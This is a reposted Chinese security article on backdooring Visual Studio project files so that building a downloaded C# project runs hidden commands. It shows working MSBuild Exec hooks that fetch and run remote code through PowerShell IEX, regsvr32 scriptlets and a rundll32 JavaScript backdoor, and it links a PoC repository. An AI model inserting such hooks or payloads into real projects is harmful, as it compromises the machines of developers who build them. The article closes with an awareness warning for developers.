<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/16381

            0x00前言


            本文源于一次大膽的嘗試:

            對github上某一知名的C#工程作細微改動并推薦用戶下載,用戶在毫不知情的情況下往往會在查看源代碼后選擇編譯文件,然而在編譯的過程中,會隱蔽執行代碼,獲得用戶的主機權限,細極思恐。演示如下:

            Alt text

            0x01 背景知識


            MSBuild是 Microsoft Build Engine 的縮寫,代表 Microsoft 和 Visual Studio 的新的生成平臺
            MSBuild可在未安裝Visual Studio的環境中編譯.net的工程文件

            實例1:

            #!xml
            <?xml version="1.0" encoding="utf-8" ?>
            <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
              <Target Name="PrintCurrentDateTime">
                <Message Text="The current date and time is: $(&#91;System.DateTime&#93;::Now)." />
              </Target>
            </Project>
            

            保存為test.csproj
            cmd下執行:

            #!shell
            C:\Windows\Microsoft.Net\Framework\v4.0.30319\msbuild.exe test.csproj
            

            在cmd下會輸出顯示當前時間,如圖

            Alt text

            實例2:

            #!c
            using System;
            class Test
            {
                static void Main()
                {
                    Console.WriteLine("Hello world");
                }
            }
            

            保存為hello.cs

            #!xml
            <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
                <Target Name="Compile">
                    <CSC Sources="hello.cs" OutputAssembly="hello.exe" />
                </Target>
            </Project>
            

            保存為hello.csproj

            hello.cs和hello.csproj放于同一目錄
            cmd下執行:

            #!shell
            C:\Windows\Microsoft.Net\Framework\v4.0.30319\msbuild.exe hello.csproj
            

            可以編譯生成hello.exe

            Alt text

            0x02 構造工程(腳本文件)


            在Visual Studio下新建一個c#工程,查看目錄下的.csproj文件,格式如下:

            #!xml
            <?xml version="1.0" encoding="utf-8"?>
            <Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
              <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
              <PropertyGroup>
                <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
                <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
                <ProjectGuid>{11E01039-C952-4D78-A2E5-426B51788B7F}</ProjectGuid>
                <OutputType>Exe</OutputType>
                <AppDesignerFolder>Properties</AppDesignerFolder>
                <RootNamespace>ConsoleApplication3</RootNamespace>
                <AssemblyName>ConsoleApplication3</AssemblyName>
                <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
                <FileAlignment>512</FileAlignment>
              </PropertyGroup>
              <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
                <PlatformTarget>AnyCPU</PlatformTarget>
                <DebugSymbols>true</DebugSymbols>
                <DebugType>full</DebugType>
                <Optimize>false</Optimize>
                <OutputPath>bin\Debug\</OutputPath>
                <DefineConstants>DEBUG;TRACE</DefineConstants>
                <ErrorReport>prompt</ErrorReport>
                <WarningLevel>4</WarningLevel>
              </PropertyGroup>
              <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
                <PlatformTarget>AnyCPU</PlatformTarget>
                <DebugType>pdbonly</DebugType>
                <Optimize>true</Optimize>
                <OutputPath>bin\Release\</OutputPath>
                <DefineConstants>TRACE</DefineConstants>
                <ErrorReport>prompt</ErrorReport>
                <WarningLevel>4</WarningLevel>
              </PropertyGroup>
              <ItemGroup>
                <Reference Include="System" />
                <Reference Include="System.Core" />
                <Reference Include="System.Xml.Linq" />
                <Reference Include="System.Data.DataSetExtensions" />
                <Reference Include="Microsoft.CSharp" />
                <Reference Include="System.Data" />
                <Reference Include="System.Xml" />
              </ItemGroup>
              <ItemGroup>
                <Compile Include="Program.cs" />
                <Compile Include="Properties\AssemblyInfo.cs" />
              </ItemGroup>
              <ItemGroup>
                <None Include="App.config" />
              </ItemGroup>
              <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
              <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
                   Other similar extension points exist, see Microsoft.Common.targets.
              <Target Name="BeforeBuild">
              </Target>
              <Target Name="AfterBuild">
              </Target>
              -->
            </Project>
            

            需要先了解以下基礎知識:

            Project元素

            項目文件的最外層元素,它表示了一個項目的范圍。如果缺少了這一元素,MSBuild會報錯稱Target元素無法識別或不被支持。

            Project元素擁有多個屬性,其中最常用到的是DefaultTargets屬性。我們都知道,在一個項目的生成過程中可能需要完成幾項不同的任務(比如編譯、單元測試、check-in到源代碼控制服務器中等),其中每一項任務都可以用Target來表示。對于擁有多個Target的項目,你可以通過設置Project的DefaultTargets(注意是復數)屬性來指定需要運行哪(幾)個Target,如果沒有這個設置,MSBuild將只運行排在最前面的那個Target

            Property元素

            在項目中你肯定需要經常訪問一些信息,例如需要創建的路徑名、最終生成的程序集名稱等。以name/value的形式添加進Property,隨后就可以以$(PropertyName)的形式訪問

            Item元素

            在整個項目文件中你肯定要提供一些可被引用的輸入性資源(inputs)信息,比如源代碼文件、引用的程序集名稱、需要嵌入的圖標資源等。它們應該被放在Item里,以便隨時引用

            Target元素

            Target表示一個需要完成的虛擬的任務單元。每個Project可以包括一個或多個Target,從而完成一系列定制的任務。你需要給每個Target設置一個Name屬性(同一Project下的兩個Target不能擁有同樣的Name)以便引用和區別

            Task元素

            可執行的部分,可以在Target下面放置多個Task來順序地執行相應的任務

            部分元素定義引用+參考自http://www.cnblogs.com/shanyou/p/3452938.html

            https://msdn.microsoft.com/en-us/library/7z253716.aspx可獲得詳細Task類的用法介紹,其中幾個特別的類值得注意:

            結合以上的基礎知識,我們不難理解默認.csproj文件包含的信息,而在.csproj文件尾部存在一個特別的說明:

            #!xml
            <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
                   Other similar extension points exist, see Microsoft.Common.targets.
              <Target Name="BeforeBuild">
              </Target>
              <Target Name="AfterBuild">
              </Target>
              -->
            

            那么,我們能否通過修改此處來操作VS編譯文件的過程呢?

            0x03 添加后門測試


            對于原始文檔,首先去掉<---->的標記

            1、在編譯過程中直接彈calc.exe

            添加代碼如下:

            #!xml
            <Target Name="AfterBuild">
                <Exec Command="calc.exe"/>
              </Target>
            

            成功彈出計算器,build的過程卡住,手動結束calc進程,編譯成功,如圖:

            Alt text

            解決方法:
            解決calc進程死鎖,可以通過powershell的start process異步調用來執行calc.exe
            腳本內容為

            #!shell
            start-process calc.exe
            

            上傳至github
            使用powershell來下載執行

            .csproj文件修改為:

            #!xml
            <Target Name="AfterBuild">
                <Exec Command="powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/test/master/calc.ps1');"/>
              </Target>
            

            執行如圖:

            Alt text

            2、在編譯過程中調用regsvr32.exe

            添加代碼如下:

            #!xml
            <Target Name="AfterBuild">
                <Exec Command="regsvr32.exe /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"/>
              </Target>
            

            使用regsvr32會在控制臺輸出報錯提示權限不夠,但依然可以成功執行命令,如圖

            Alt text

            3、在編譯過程中運行JSRAT

            使用rundll32

            #!xml
            rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
            

            兩個""中間無法再使用",所以要用&quot;來替代" 優化的代碼如下:

            #!xml
            <Target Name="AfterBuild">
                <Exec Command="rundll32.exe javascript:&quot;\..\mshtml,RunHTMLApplication &quot;;document.write();GetObject(&quot;script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test&quot;)"/> 
            </Target>
            

            成功彈出計算器,但無法成功編譯文件,手動結束rundll32進程,編譯成功,提示rundll32調用錯誤

            解決方法:
            寫臨時js文件,再運行,代碼如下:

            #!xml
             <Target Name="BeforeBuild">
             <Exec Command="echo GetObject(&quot;script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test&quot;)>1.js"/> 
              </Target>
              <Target Name="AfterBuild">
            <Exec Command="1.js"/> 
            </Target>
            

            演示略

            0x04 實際影響


            任意一個c#工程,只要編輯.csproj文件,即可實現在編譯過程中執行任意命令。 正如本文開始的演示圖,絕大部分人從github上下載代碼后,會選擇直接編譯,即使部分人會注意代碼細節,也常常會忽略.csproj文件,并且通過Visual Studio 的操作面板無法獲取添加的后門代碼。

            Alt text

            如果別有用心的人在公開項目的.csproj文件添加了后門代碼,后果將不堪設想。希望本文能引起大家對此細節的注意,尤其是開發人員,編譯工程前尤其要記得查看.**proj文件的細節。亡羊而補牢,未為遲也。

            Poc地址:
            https://github.com/3gstudent/p0wnedShell-DarkVersion

            0x05 補充


            使用Visual Studio中的其他語言也同樣可以插入后門:
            Visual C++:
            - 修改.vcxproj文件

            Visual Basic:
            - 修改.vbproj文件

            Visual F#:
            - 修改.fsproj文件

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线